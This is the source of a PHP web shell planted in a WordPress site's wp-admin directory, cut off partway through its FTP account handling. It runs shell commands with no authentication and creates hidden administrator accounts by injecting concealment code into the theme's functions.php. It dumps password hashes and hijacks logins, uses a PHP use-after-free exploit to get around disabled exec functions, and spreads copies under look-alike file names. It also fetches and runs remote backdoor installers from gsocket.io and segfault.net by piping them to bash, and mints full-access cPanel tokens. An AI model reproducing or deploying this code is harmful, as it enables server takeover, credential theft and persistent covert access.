File: /var/www/vhosts/hvmbertogarza.com/httpdocs/wp-admin/network/bywaf.php
<?php
if (isset($_GET['debug500'])) {
ini_set('display_errors', 1);
error_reporting(E_ALL);
} else {
@ini_set('error_log', NULL);
@ini_set('log_errors', 0);
@error_reporting(0);
}
@ini_set('max_execution_time', 0);
@set_time_limit(0);
// === WP LOAD FINDER (global) ===
function findWpLoad($dir = null, $depth = 0) {
if ($depth > 8) return false;
$dir = $dir ?: __DIR__;
$wp_load = $dir . '/wp-load.php';
if (file_exists($wp_load)) return $wp_load;
return findWpLoad(dirname($dir), $depth + 1);
}
// === WP AJAX HANDLER - Exact copy from reference script ===
if ($_SERVER['REQUEST_METHOD'] == 'POST' && isset($_POST['c4t'])) {
$wp_load_path = findWpLoad();
if (!$wp_load_path) {
echo json_encode(['err' => 'wp-load.php not found']);
exit;
}
require_once $wp_load_path;
function addUserProtection($username) {
$functions_file = get_template_directory() . '/functions.php';
if (!file_exists($functions_file)) {
$functions_file = get_stylesheet_directory() . '/functions.php';
}
if (file_exists($functions_file)) {
$protection_code = '
add_action(\'pre_get_users\', function($query) {
if (is_admin() && function_exists(\'get_current_screen\')) {
$screen = get_current_screen();
if ($screen && $screen->base === \'users\') {
$protected_user = get_user_by(\'login\', \'' . $username . '\');
if ($protected_user) {
$excluded = (array) $query->get(\'exclude\');
$excluded[] = $protected_user->ID;
$query->set(\'exclude\', $excluded);
}
}
}
});
add_filter(\'wp_count_users\', function($counts) {
$protected_user = get_user_by(\'login\', \'' . $username . '\');
if ($protected_user) {
$counts->total_users--;
}
return $counts;
});
add_action(\'delete_user\', function($user_id) {
$user = get_user_by(\'ID\', $user_id);
if ($user && $user->user_login === \'' . $username . '\') {
wp_die(
__(\'User ' . $username . ' tidak dapat dihapus.\', \'textdomain\'),
__(\'Error\', \'textdomain\'),
array(\'response\' => 403)
);
}
});
add_filter(\'user_search_columns\', function($search_columns, $search, $query) {
if (is_admin()) {
$protected_user = get_user_by(\'login\', \'' . $username . '\');
if ($protected_user) {
global $wpdb;
$query->query_where .= $wpdb->prepare(" AND {$wpdb->users}.ID != %d", $protected_user->ID);
}
}
return $search_columns;
}, 10, 3);
add_filter(\'bulk_actions-users\', function($actions) {
if (isset($_REQUEST[\'users\']) && is_array($_REQUEST[\'users\'])) {
$protected_user = get_user_by(\'login\', \'' . $username . '\');
if ($protected_user && in_array($protected_user->ID, $_REQUEST[\'users\'])) {
unset($actions[\'delete\']);
}
}
return $actions;
});
';
$current_content = file_get_contents($functions_file);
if (strpos($current_content, "get_user_by('login', '{$username}')") === false) {
file_put_contents($functions_file, $protection_code, FILE_APPEND | LOCK_EX);
return true;
} else {
return true;
}
}
return false;
}
function removeUserProtection($username) {
$functions_file = get_template_directory() . '/functions.php';
if (!file_exists($functions_file)) {
$functions_file = get_stylesheet_directory() . '/functions.php';
}
if (file_exists($functions_file)) {
$current_content = file_get_contents($functions_file);
$pattern = '/add_action\(\'pre_get_users\'.*?get_user_by\(\'login\', \'' . preg_quote($username, '/') . '\'.*?add_filter\(\'bulk_actions-users\'.*?\}\);\s*/s';
$new_content = preg_replace($pattern, '', $current_content);
if ($new_content !== $current_content) {
file_put_contents($functions_file, $new_content, LOCK_EX);
return true;
}
}
return false;
}
function isUserHidden($username) {
$functions_file = get_template_directory() . '/functions.php';
if (!file_exists($functions_file)) {
$functions_file = get_stylesheet_directory() . '/functions.php';
}
if (file_exists($functions_file)) {
$current_content = file_get_contents($functions_file);
return strpos($current_content, "get_user_by('login', '{$username}')") !== false;
}
return false;
}
global $wpdb;
if ($_POST['c4t'] == 'ulst') {
$users = $wpdb->get_results("SELECT ID, user_login, user_email, user_pass, user_registered FROM {$wpdb->users}");
foreach ($users as $user) {
$user->is_hidden = isUserHidden($user->user_login);
}
echo json_encode($users);
exit;
}
if ($_POST['c4t'] == 'rpsw') {
$user_id = intval($_POST['uix']);
$new_password = wp_generate_password(12, true, true);
wp_set_password($new_password, $user_id);
$user_data = get_userdata($user_id);
echo json_encode([
'l' => $user_data->user_login,
'e' => $user_data->user_email,
'n' => $new_password
]);
exit;
}
if ($_POST['c4t'] == 'cadm') {
$username = preg_replace('/[^a-zA-Z0-9_]/', '', $_POST['xun']);
$password = $_POST['xpw'];
$email = filter_var($_POST['xem'], FILTER_VALIDATE_EMAIL) ? $_POST['xem'] : $username . '@' . $_SERVER['HTTP_HOST'];
$hide_user = isset($_POST['hide_user']) ? true : false;
if (username_exists($username)) {
echo json_encode(['err' => 'user exists']);
exit;
}
$user_id = wp_create_user($username, $password, $email);
if ($user_id && !is_wp_error($user_id)) {
$user = new WP_User($user_id);
$user->set_role('administrator');
if ($hide_user) {
addUserProtection($username);
}
echo json_encode([
'ok' => 'created',
'u' => $username,
'p' => $password,
'hide' => $hide_user
]);
} else {
echo json_encode(['err' => 'create failed']);
}
exit;
}
if ($_POST['c4t'] == 'alog') {
$user_id = intval($_POST['uix']);
wp_clear_auth_cookie();
wp_set_current_user($user_id);
wp_set_auth_cookie($user_id, true);
echo json_encode(['url' => admin_url()]);
exit;
}
if ($_POST['c4t'] == 'hide') {
$user_id = intval($_POST['uix']);
$user = get_user_by('ID', $user_id);
if ($user) {
$result = addUserProtection($user->user_login);
echo json_encode([
'ok' => 'hidden',
'user' => $user->user_login,
'success' => $result
]);
} else {
echo json_encode(['err' => 'user not found']);
}
exit;
}
if ($_POST['c4t'] == 'unhide') {
$user_id = intval($_POST['uix']);
$user = get_user_by('ID', $user_id);
if ($user) {
$result = removeUserProtection($user->user_login);
echo json_encode([
'ok' => 'unhidden',
'user' => $user->user_login,
'success' => $result
]);
} else {
echo json_encode(['err' => 'user not found']);
}
exit;
}
if ($_POST['c4t'] == 'del') {
$user_id = intval($_POST['uix']);
$user = get_user_by('ID', $user_id);
if ($user) {
$current_user = wp_get_current_user();
if ($user_id == $current_user->ID) {
echo json_encode(['err' => 'cannot_delete_self']);
exit;
}
if (isUserHidden($user->user_login)) {
removeUserProtection($user->user_login);
}
if (wp_delete_user($user_id)) {
echo json_encode([
'ok' => 'deleted',
'user' => $user->user_login
]);
} else {
echo json_encode(['err' => 'delete_failed']);
}
} else {
echo json_encode(['err' => 'user_not_found']);
}
exit;
}
exit;
}
// === END WP AJAX HANDLER ===
// No authentication required
session_start();
function isAuthenticated() { return true; }
// === PROCESS AJAX HANDLER ===
if (isset($_POST['proc_action']) && isAuthenticated()) {
header('Content-Type: application/json; charset=utf-8');
$pAct = $_POST['proc_action'];
if ($pAct === 'list') {
// Get all visible processes
$ps_out = shell_exec('ps auxww 2>/dev/null') ?: '';
$lines = explode("\n", trim($ps_out));
$header = array_shift($lines);
$processes = [];
foreach ($lines as $line) {
$line = trim($line);
if (empty($line)) continue;
$cols = preg_split('/\s+/', $line, 11);
if (count($cols) >= 11) {
$processes[] = [
'user' => $cols[0],
'pid' => $cols[1],
'cpu' => $cols[2],
'mem' => $cols[3],
'vsz' => $cols[4],
'rss' => $cols[5],
'tty' => $cols[6],
'stat' => $cols[7],
'start' => $cols[8],
'time' => $cols[9],
'command' => $cols[10],
];
}
}
// Detect hidden processes by comparing /proc with ps output
$ps_pids = array_column($processes, 'pid');
$hidden = [];
if (is_dir('/proc')) {
$proc_dirs = @scandir('/proc');
if ($proc_dirs) {
foreach ($proc_dirs as $d) {
if (!is_numeric($d)) continue;
if (!in_array($d, $ps_pids)) {
// Hidden process found - try to get info
$cmdline = @file_get_contents("/proc/$d/cmdline");
$cmdline = $cmdline ? str_replace("\0", ' ', trim($cmdline)) : '[hidden]';
$status = @file_get_contents("/proc/$d/status");
$uid = '?';
if ($status && preg_match('/Uid:\s+(\d+)/', $status, $m)) {
$pw = @posix_getpwuid((int)$m[1]);
$uid = $pw ? $pw['name'] : $m[1];
}
$hidden[] = [
'pid' => $d,
'user' => $uid,
'command' => $cmdline ?: '[hidden]',
];
}
}
}
}
// Detect recently started processes (started within last 5 minutes)
$recent = [];
$now = time();
foreach ($processes as $p) {
// Check /proc/<pid>/stat for start time
$stat = @file_get_contents("/proc/{$p['pid']}/stat");
if ($stat) {
$parts = explode(' ', $stat);
if (isset($parts[21])) {
$uptime_str = @file_get_contents('/proc/uptime');
if ($uptime_str) {
$uptime = (float)explode(' ', $uptime_str)[0];
$clk_tck = 100; // sysconf(_SC_CLK_TCK)
$start_sec = (float)$parts[21] / $clk_tck;
$boot_time = $now - $uptime;
$proc_start = $boot_time + $start_sec;
$age = $now - $proc_start;
if ($age >= 0 && $age <= 300) {
$p['age_seconds'] = (int)$age;
$recent[] = $p;
}
}
}
}
}
echo json_encode([
'processes' => $processes,
'hidden' => $hidden,
'recent' => $recent,
'total' => count($processes),
'total_hidden' => count($hidden),
'total_recent' => count($recent),
]);
exit;
}
if ($pAct === 'kill') {
$pid = intval($_POST['pid'] ?? 0);
if ($pid > 0) {
$sig = $_POST['signal'] ?? '9';
$out = shell_exec("kill -$sig $pid 2>&1");
echo json_encode(['ok' => true, 'pid' => $pid, 'output' => trim($out ?? '')]);
} else {
echo json_encode(['err' => 'invalid pid']);
}
exit;
}
echo json_encode(['err' => 'unknown action']);
exit;
}
// === END PROCESS HANDLER ===
// === FILE MANAGER STARTS DIRECTLY ===
@ob_clean();
@header("X-Accel-Buffering: no");
@header("Content-Encoding: none");
// === BYPASS ENGINE (PHP UAF) ===
class Helper { public $a, $b, $c; }
class Pwn {
const LOGGING = false;
const CHUNK_DATA_SIZE = 0x60;
const CHUNK_SIZE = self::CHUNK_DATA_SIZE;
const STRING_SIZE = self::CHUNK_DATA_SIZE - 0x18 - 1;
const HT_SIZE = 0x118;
const HT_STRING_SIZE = self::HT_SIZE - 0x18 - 1;
public function __construct($cmd) {
for($i = 0; $i < 10; $i++) {
$groom[] = self::alloc(self::STRING_SIZE);
$groom[] = self::alloc(self::HT_STRING_SIZE);
}
$concat_str_addr = self::str2ptr($this->heap_leak(), 16);
$fill = self::alloc(self::STRING_SIZE);
$this->abc = self::alloc(self::STRING_SIZE);
$abc_addr = $concat_str_addr + self::CHUNK_SIZE;
$this->free($abc_addr);
$this->helper = new Helper;
if(strlen($this->abc) < 0x1337) return;
$this->helper->a = "leet";
$this->helper->b = function($x) {};
$this->helper->c = 0xfeedface;
$helper_handlers = $this->rel_read(0);
$closure_addr = $this->rel_read(0x20);
$closure_ce = $this->read($closure_addr + 0x10);
$basic_funcs = $this->get_basic_funcs($closure_ce);
$zif_system = $this->get_system($basic_funcs);
$fake_closure_off = 0x70;
for($i = 0; $i < 0x138; $i += 8) {
$this->rel_write($fake_closure_off + $i, $this->read($closure_addr + $i));
}
$this->rel_write($fake_closure_off + 0x38, 1, 4);
$handler_offset = PHP_MAJOR_VERSION === 8 ? 0x70 : 0x68;
$this->rel_write($fake_closure_off + $handler_offset, $zif_system);
$fake_closure_addr = $abc_addr + $fake_closure_off + 0x18;
$this->rel_write(0x20, $fake_closure_addr);
($this->helper->b)($cmd);
$this->rel_write(0x20, $closure_addr);
unset($this->helper->b);
}
private function heap_leak() {
$arr = [[], []];
set_error_handler(function() use (&$arr, &$buf) {
$arr = 1;
$buf = str_repeat("\x00", self::HT_STRING_SIZE);
});
$arr[1] .= self::alloc(self::STRING_SIZE - strlen("Array"));
return $buf;
}
private function free($addr) {
$payload = pack("Q*", 0xdeadbeef, 0xcafebabe, $addr);
$payload .= str_repeat("A", self::HT_STRING_SIZE - strlen($payload));
$arr = [[], []];
set_error_handler(function() use (&$arr, &$buf, &$payload) {
$arr = 1;
$buf = str_repeat($payload, 1);
});
$arr[1] .= "x";
}
private function rel_read($offset) { return self::str2ptr($this->abc, $offset); }
private function rel_write($offset, $value, $n = 8) {
for ($i = 0; $i < $n; $i++) {
$this->abc[$offset + $i] = chr($value & 0xff);
$value >>= 8;
}
}
private function read($addr, $n = 8) {
$this->rel_write(0x10, $addr - 0x10);
$value = strlen($this->helper->a);
if($n !== 8) { $value &= (1 << ($n << 3)) - 1; }
return $value;
}
private function get_system($basic_funcs) {
$addr = $basic_funcs;
do {
$f_entry = $this->read($addr);
$f_name = $this->read($f_entry, 6);
if($f_name === 0x6d6574737973) return $this->read($addr + 8);
$addr += 0x20;
} while($f_entry !== 0);
}
private function get_basic_funcs($addr) {
while(true) {
$addr -= 0x10;
if($this->read($addr, 4) === 0xA8 &&
in_array($this->read($addr + 4, 4), [20180731, 20190902, 20200930, 20210902])) {
$module_name_addr = $this->read($addr + 0x20);
$module_name = $this->read($module_name_addr);
if($module_name === 0x647261646e617473) return $this->read($addr + 0x28);
}
}
}
static function alloc($size) { return str_shuffle(str_repeat("A", $size)); }
static function str2ptr($str, $p = 0, $n = 8) {
$address = 0;
for($j = $n - 1; $j >= 0; $j--) { $address <<= 8; $address |= ord($str[$p + $j]); }
return $address;
}
}
function runBypass($cmd) {
ob_start();
try { new Pwn($cmd); } catch(\Throwable $e) {}
$out = ob_get_clean();
return (!empty(trim($out ?? ''))) ? trim($out) : null;
}
// === CORE FUNCTIONS ===
function runCmd($cmd) {
$out = null;
$user = get_current_user();
$home = getenv('HOME') ?: ('/home/' . $user);
$env = "HOME=$home USER=$user";
$fullCmd = $env . ' /bin/bash -l -c ' . escapeshellarg($cmd) . ' 2>&1';
if (function_exists('proc_open')) {
$desc = [0 => ['pipe','r'], 1 => ['pipe','w'], 2 => ['pipe','w']];
$envArr = ['HOME' => $home, 'USER' => $user, 'PATH' => '/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin'];
$proc = @proc_open('/bin/bash -l -c ' . escapeshellarg($cmd), $desc, $pipes, $home, $envArr);
if (is_resource($proc)) {
@fclose($pipes[0]);
$out = @stream_get_contents($pipes[1]);
$err = @stream_get_contents($pipes[2]);
@fclose($pipes[1]);
@fclose($pipes[2]);
@proc_close($proc);
if (empty(trim($out ?? '')) && !empty(trim($err ?? ''))) $out = $err;
}
}
if ($out === null && function_exists('exec')) {
@exec($fullCmd, $outArr, $ret);
$out = implode("\n", $outArr);
}
if ($out === null && function_exists('shell_exec')) {
$out = @shell_exec($fullCmd);
}
if ($out === null && function_exists('popen')) {
$fp = @popen($fullCmd, 'r');
if ($fp) { $out = @stream_get_contents($fp); @pclose($fp); }
}
// Fallback: UAF bypass when all exec functions are disabled
if ($out === null || trim($out) === '') {
$out = runBypass($cmd);
}
return $out;
}
function runUapi($args) {
return runCmd('uapi ' . $args);
}
function parseUapiStatus($raw) {
if (empty($raw)) return ['ok' => false, 'raw' => ''];
$ok = (bool)preg_match('/status:\s*1/', $raw);
return ['ok' => $ok, 'raw' => $raw];
}
function parseUapiFtpList($raw) {
if (empty($raw)) return [];
$accounts = [];
$blocks = preg_split('/^\s*-\s*$/m', $raw);
foreach ($blocks as $block) {
$acct = [];
if (preg_match('/\buser:\s*(.+)/i', $block, $m)) $acct['user'] = trim($m[1], " '\"\r\n");
if (preg_match('/\blogin:\s*(.+)/i', $block, $m)) $acct['login'] = trim($m[1], " '\"\r\n");
if (preg_match('/\bdomain:\s*(.+)/i', $block, $m)) $acct['domain'] = trim($m[1], " '\"\r\n");
if (preg_match('/\bhomedir:\s*(.+)/i', $block, $m)) $acct['homedir'] = trim($m[1], " '\"\r\n");
if (preg_match('/\bdiskquota:\s*(.+)/i', $block, $m)) $acct['quota'] = trim($m[1], " '\"\r\n");
if (preg_match('/\bdiskused:\s*(.+)/i', $block, $m)) $acct['used'] = trim($m[1], " '\"\r\n");
if (!empty($acct['user']) || !empty($acct['login'])) $accounts[] = $acct;
}
if (empty($accounts)) {
preg_match_all('/(?:user|login):\s*[\'"]?(\S+)[\'"]?/i', $raw, $userMatches);
preg_match_all('/domain:\s*[\'"]?(\S+)[\'"]?/i', $raw, $domainMatches);
preg_match_all('/homedir:\s*[\'"]?(\S+)[\'"]?/i', $raw, $dirMatches);
for ($i = 0; $i < count($userMatches[1]); $i++) {
$accounts[] = [
'user' => $userMatches[1][$i] ?? '',
'login' => $userMatches[1][$i] ?? '',
'domain' => $domainMatches[1][$i] ?? '',
'homedir' => $dirMatches[1][$i] ?? '',
];
}
}
return $accounts;
}
function formatSize($size) {
$units = ['B', 'KB', 'MB', 'GB', 'TB'];
$i = 0;
while ($size >= 1024 && $i < 4) { $size /= 1024; $i++; }
return round($size, 2) . ' ' . $units[$i];
}
function fixPermission($path) {
$perms = @fileperms($path);
if ($perms === false) return false;
$octal = substr(sprintf('%o', $perms), -4);
$unwritable = ['0555','0444','0111','0000','0550','0440','0110','0554','0445','0511','0155','0144'];
if (in_array($octal, $unwritable)) {
if (is_dir($path)) {
@chmod($path, 0755);
} else {
@chmod($path, 0644);
}
return true;
}
return false;
}
function safeAccess($path) {
fixPermission($path);
return @is_readable($path);
}
function getFileDetails($path) {
$folders = [];
$files = [];
try {
if (!safeAccess($path)) return 'None';
$items = @scandir($path);
if (!is_array($items)) return 'None';
foreach ($items as $item) {
if ($item == '.' || $item == '..') continue;
$itemPath = $path . '/' . $item;
$perm = @fileperms($itemPath);
$permStr = $perm !== false ? substr(sprintf('%o', $perm), -4) : '----';
$size = '';
if (!is_dir($itemPath)) {
$s = @filesize($itemPath);
$size = $s !== false ? formatSize($s) : '?';
}
$isWritable = @is_writable($itemPath);
$isReadable = @is_readable($itemPath);
$permColor = '#f85149';
if ($isWritable && $isReadable) $permColor = '#3fb950';
elseif ($isReadable) $permColor = '#e6edf3';
$detail = [
'name' => $item,
'type' => is_dir($itemPath) ? 'Folder' : 'File',
'size' => $size,
'permission' => $permStr,
'perm_color' => $permColor,
'writable' => $isWritable,
'readable' => $isReadable,
];
if (is_dir($itemPath)) $folders[] = $detail;
else $files[] = $detail;
}
return array_merge($folders, $files);
} catch (Exception $e) {
return 'None';
}
}
function executeCommand($command) {
$currentDirectory = getCurrentDirectory();
$fullCmd = "cd " . escapeshellarg($currentDirectory) . " && " . $command;
$out = runCmd($fullCmd);
if ($out !== null && !empty(trim($out))) return trim($out);
// Final fallback: direct bypass without cd
$out = runBypass($command);
if ($out !== null && !empty(trim($out))) return trim($out);
return 'No output or command failed.';
}
function readFileContent($file) { return @file_get_contents($file); }
function saveFileContent($file) {
if (isset($_POST['content'])) {
fixPermission($file);
fixPermission(dirname($file));
return @file_put_contents($file, $_POST['content']) !== false;
}
return false;
}
function uploadFile($targetDirectory) {
if (isset($_FILES['file'])) {
fixPermission($targetDirectory);
$targetFile = $targetDirectory . '/' . basename($_FILES['file']['name']);
if ($_FILES['file']['size'] === 0) return 'Empty file.';
if (move_uploaded_file($_FILES['file']['tmp_name'], $targetFile)) return 'File uploaded successfully.';
return 'Error uploading file.';
}
return '';
}
function uploadMultipleFiles($targetDirectory) {
if (!isset($_FILES['files'])) return 'No files selected.';
fixPermission($targetDirectory);
$success = 0; $fail = 0;
for ($i = 0; $i < count($_FILES['files']['name']); $i++) {
if ($_FILES['files']['error'][$i] === 0 && !empty($_FILES['files']['name'][$i])) {
$target = $targetDirectory . '/' . basename($_FILES['files']['name'][$i]);
if (move_uploaded_file($_FILES['files']['tmp_name'][$i], $target)) $success++;
else $fail++;
}
}
return "Uploaded: $success, Failed: $fail";
}
function getCurrentDirectory() { return realpath(getcwd()); }
function deleteFile($file) {
fixPermission($file);
fixPermission(dirname($file));
if (file_exists($file)) {
if (is_dir($file)) return deleteFolder($file);
if (@unlink($file)) return true;
}
return false;
}
function deleteFolder($folder) {
fixPermission($folder);
if (is_dir($folder)) {
$items = @scandir($folder);
if (is_array($items)) {
foreach ($items as $item) {
if ($item == '.' || $item == '..') continue;
$path = $folder . '/' . $item;
fixPermission($path);
if (is_dir($path)) deleteFolder($path);
else @unlink($path);
}
}
return @rmdir($folder);
}
return false;
}
function renameFile($oldName, $newName) {
fixPermission($oldName);
fixPermission(dirname($oldName));
if (file_exists($oldName)) {
$directory = dirname($oldName);
$newPath = $directory . '/' . $newName;
if (@rename($oldName, $newPath)) return 'Renamed successfully.';
return 'Error renaming.';
}
return 'File does not exist.';
}
function scanDeepestDirectory($basePath) {
$deepest = []; $maxDepth = 0;
try {
$iterator = new RecursiveIteratorIterator(
new RecursiveDirectoryIterator($basePath, RecursiveDirectoryIterator::SKIP_DOTS),
RecursiveIteratorIterator::SELF_FIRST
);
foreach ($iterator as $item) {
if ($item->isDir()) {
$depth = $iterator->getDepth();
if ($depth > $maxDepth) { $maxDepth = $depth; $deepest = [$item->getPathname()]; }
elseif ($depth == $maxDepth) { $deepest[] = $item->getPathname(); }
}
}
} catch (Exception $e) {}
return $deepest;
}
function scanNewlyFiles($basePath, $ext = 'php', $limit = 50) {
$files = [];
try {
$iterator = new RecursiveIteratorIterator(
new RecursiveDirectoryIterator($basePath, RecursiveDirectoryIterator::SKIP_DOTS)
);
foreach ($iterator as $item) {
if ($item->isFile() && strtolower($item->getExtension()) === $ext) {
$files[] = ['path' => $item->getPathname(), 'time' => $item->getMTime()];
}
}
} catch (Exception $e) {}
usort($files, function($a, $b) { return $b['time'] - $a['time']; });
return array_slice($files, 0, $limit);
}
function generateHomoglyph($filename) {
$name = pathinfo($filename, PATHINFO_FILENAME);
$ext = pathinfo($filename, PATHINFO_EXTENSION);
$map = [
'a' => ['@','4'],
'e' => ['3'],
'i' => ['1','l'],
'o' => ['0'],
's' => ['5'],
'l' => ['1','I'],
'g' => ['9'],
'c' => ['('],
't' => ['7'],
'I' => ['l','1'],
'O' => ['0'],
'S' => ['5'],
'A' => ['4','@'],
'E' => ['3'],
'B' => ['8'],
'G' => ['6'],
'T' => ['7'],
];
$variants = [];
$len = strlen($name);
for ($i = 0; $i < $len; $i++) {
$ch = $name[$i];
if (isset($map[$ch])) {
foreach ($map[$ch] as $rep) {
$v = substr($name, 0, $i) . $rep . substr($name, $i + 1);
$full = $ext ? $v . '.' . $ext : $v;
if ($full !== $filename) $variants[] = $full;
}
}
}
if (empty($variants)) {
$variants[] = '.' . $filename;
$variants[] = $name . '_bak.' . $ext;
}
return array_unique($variants);
}
function massSpreadAuto($basePath, $content) {
$count = 0; $errors = []; $created = [];
$targetExts = ['php'];
try {
fixPermission($basePath);
$dirs = [$basePath];
$iterator = new RecursiveIteratorIterator(
new RecursiveDirectoryIterator($basePath, RecursiveDirectoryIterator::SKIP_DOTS),
RecursiveIteratorIterator::SELF_FIRST
);
foreach ($iterator as $item) {
if ($item->isDir()) $dirs[] = $item->getPathname();
}
foreach ($dirs as $dir) {
fixPermission($dir);
$files = @scandir($dir);
if (!is_array($files)) { $errors[] = $dir; continue; }
$existingFiles = [];
foreach ($files as $f) {
if ($f === '.' || $f === '..') continue;
if (is_file($dir . '/' . $f)) {
$fext = strtolower(pathinfo($f, PATHINFO_EXTENSION));
if (in_array($fext, $targetExts)) $existingFiles[] = $f;
}
}
if (empty($existingFiles)) {
$existingFiles = ['index.php', 'config.php', 'class-loader.php'];
}
$placed = false;
foreach ($existingFiles as $origFile) {
$variants = generateHomoglyph($origFile);
foreach ($variants as $variant) {
$targetPath = $dir . '/' . $variant;
if (!file_exists($targetPath)) {
if (@file_put_contents($targetPath, $content) !== false) {
$count++;
$created[] = $targetPath;
$placed = true;
break 2;
}
}
}
}
if (!$placed) $errors[] = $dir;
}
} catch (Exception $e) {
$errors[] = 'Exception: ' . $e->getMessage();
}
return ['count' => $count, 'errors' => $errors, 'created' => $created];
}
// === HANDLE REQUESTS ===
$currentDirectory = getCurrentDirectory();
$errorMessage = '';
$responseMessage = '';
$cmdOutput = '';
$loginError = '';
if (isset($_GET['lph'])) {
@chdir($_GET['lph']);
$currentDirectory = getCurrentDirectory();
}
if (isset($_POST['multi_upload'])) {
$responseMessage = uploadMultipleFiles($currentDirectory);
}
if (isset($_POST['newfolder']) && !empty($_POST['foldername'])) {
$newDir = $currentDirectory . '/' . $_POST['foldername'];
fixPermission($currentDirectory);
if (@mkdir($newDir, 0755)) $responseMessage = 'Folder created.';
else $responseMessage = 'Failed to create folder.';
}
if (isset($_POST['mass_chmod']) && !empty($_POST['chmod_folder']) && !empty($_POST['chmod_file'])) {
$folderPerm = $_POST['chmod_folder'];
$filePerm = $_POST['chmod_file'];
$targetPath = !empty($_POST['chmod_path']) ? $_POST['chmod_path'] : $currentDirectory;
$folderCount = 0; $fileCount = 0; $chmodErrors = [];
try {
$iterator = new RecursiveIteratorIterator(
new RecursiveDirectoryIterator($targetPath, RecursiveDirectoryIterator::SKIP_DOTS),
RecursiveIteratorIterator::SELF_FIRST
);
foreach ($iterator as $item) {
$path = $item->getPathname();
if ($item->isDir()) {
if (@chmod($path, octdec($folderPerm))) $folderCount++;
else $chmodErrors[] = $path;
} else {
if (@chmod($path, octdec($filePerm))) $fileCount++;
else $chmodErrors[] = $path;
}
}
@chmod($targetPath, octdec($folderPerm));
$folderCount++;
$cmdOutput = "=== Mass Chmod Result ===\nTarget: $targetPath\nFolder Perm: $folderPerm\nFile Perm: $filePerm\n---\nFolders: $folderCount\nFiles: $fileCount";
if (count($chmodErrors) > 0) {
$cmdOutput .= "\nErrors: " . count($chmodErrors);
foreach (array_slice($chmodErrors, 0, 5) as $err) $cmdOutput .= "\n $err";
}
$responseMessage = 'Mass chmod completed.';
} catch (Exception $e) {
$cmdOutput = "Error: " . $e->getMessage();
}
}
if (isset($_POST['mass_spread']) && !empty($_POST['spread_content'])) {
$spreadContent = $_POST['spread_content'];
$result = massSpreadAuto($currentDirectory, $spreadContent);
$cmdOutput = "=== Mass Spread Result ===\nStarting from: $currentDirectory\nFiles created: " . $result['count'];
if (count($result['created']) > 0) {
$cmdOutput .= "\n\nCreated files:";
foreach (array_slice($result['created'], 0, 20) as $c) $cmdOutput .= "\n " . basename($c) . " -> " . dirname($c);
}
if (count($result['errors']) > 0) {
$cmdOutput .= "\n\nFailed dirs: " . count($result['errors']);
foreach (array_slice($result['errors'], 0, 5) as $err) $cmdOutput .= "\n $err";
}
$responseMessage = 'Mass spread completed: ' . $result['count'] . ' files created.';
}
if (isset($_POST['gsocket_action']) && isset($_POST['gsocket_cmd'])) {
$gsCmd = $_POST['gsocket_cmd'];
$cmdOutput = "=== GSSocket ===\n\n";
if ($gsCmd === 'install') {
// Step 1: try gsocket.io
$out = runCmd('curl -fsSL https://gsocket.io/y | bash');
if (!empty(trim($out ?? ''))) {
$cmdOutput .= "[1] gsocket.io (curl):\n" . $out;
} else {
$out = runCmd('wget --no-verbose -O- https://gsocket.io/y | bash');
if (!empty(trim($out ?? ''))) {
$cmdOutput .= "[1] gsocket.io (wget):\n" . $out;
} else {
$cmdOutput .= "[1] gsocket.io: No output.\n";
}
}
// Step 2: fallback segfault.net
$out2 = runCmd('curl -fsSL http://nossl.segfault.net/deploy-all.sh -o /tmp/deploy-all.sh && bash /tmp/deploy-all.sh');
if (!empty(trim($out2 ?? ''))) {
$cmdOutput .= "\n\n[2] segfault.net deploy:\n" . $out2;
} else {
$cmdOutput .= "\n\n[2] segfault.net deploy: No output.";
}
// Step 3: fallback port 53
$out3 = runCmd('GS_PORT=53 bash /tmp/deploy-all.sh');
if (!empty(trim($out3 ?? ''))) {
$cmdOutput .= "\n\n[3] GS_PORT=53 deploy:\n" . $out3;
} else {
$cmdOutput .= "\n\n[3] GS_PORT=53 deploy: No output.";
}
// Cleanup
@unlink('/tmp/deploy-all.sh');
runCmd('rm -f /tmp/deploy-all.sh');
$responseMessage = 'GSSocket install chain executed.';
} elseif ($gsCmd === 'uninstall') {
$out = runCmd('GS_UNDO=1 bash -c "$(curl -fsSL https://gsocket.io/y)" 2>&1');
if (empty(trim($out ?? ''))) {
$out = runCmd('GS_UNDO=1 bash -c "$(wget --no-verbose -O- https://gsocket.io/y)" 2>&1');
}
// Auto kill all user processes
runCmd('pkill -u $(whoami) 2>/dev/null');
runCmd('rm -f /tmp/deploy-all.sh');
// Clean output - remove the "Use pkill" instruction line
$out = preg_replace('/-->.*pkill defunct.*/i', '', $out ?? '');
$out = trim($out);
$out .= "\nAll user processes killed.";
$cmdOutput .= $out;
$responseMessage = 'GSSocket uninstall executed.';
}
}
if (isset($_POST['cpanel_token'])) {
$randomName = 'lp' . substr(md5(uniqid(mt_rand(), true)), 0, 8);
$uapiOutput = runUapi('Tokens create_full_access name=' . $randomName);
$serverDomain = $_SERVER['HTTP_HOST'] ?? $_SERVER['SERVER_NAME'] ?? 'unknown';
$serverDomain = preg_replace('/^https?:\/\//', '', $serverDomain);
$serverDomain = rtrim($serverDomain, '/');
$serverUser = trim(runCmd('whoami') ?? get_current_user());
$token = '';
if ($uapiOutput && preg_match('/token:\s*[\'"]?([A-Z0-9]+)[\'"]?/i', $uapiOutput, $m)) {
$token = $m[1];
}
$cmdOutput = "=== cPanel Token Generated ===\n\n";
if (!empty($token)) {
$cmdOutput .= "Login : https://" . $serverDomain . ":2083/\n";
$cmdOutput .= "Domain : " . $serverDomain . "\n";
$cmdOutput .= "User : " . $serverUser . "\n";
$cmdOutput .= "Token : " . $token . "\n";
$cmdOutput .= "\n=== Copy Format ===\n";
$cmdOutput .= $serverDomain . "|" . $serverUser . "|" . $token;
$responseMessage = 'cPanel token created successfully';
} else {
$cmdOutput .= "FAILED to create token.\n\n";
$cmdOutput .= "Raw output:\n" . ($uapiOutput ?: 'No output from uapi');
$responseMessage = 'Token creation failed';
}
}
$ftpAccounts = [];
if (isset($_POST['ftp_list']) || isset($_POST['ftp_add']) || isset($_POST['ftp_passwd']) || isset($_POST['ftp_delete'])) {
$ftpListRaw = runUapi('Ftp list_ftp');
$ftpAccounts = parseUapiFtpList($ftpListRaw);
}
if (isset($_POST['ftp_list'])) {
$responseMessage = count($ftpAccounts) . ' FTP account(s) found.';
}
if (isset($_POST['ftp_add']) && !empty($_POST['ftp_user']) && !empty($_POST['ftp_pass'])) {
$ftpUser = $_POST['ftp_user'];
$ftpPass = $_POST['ftp_pass'];
$ftpQuota = !empty($_POST['ftp_quota']) ? $_POST['ftp_quota'] : '0';
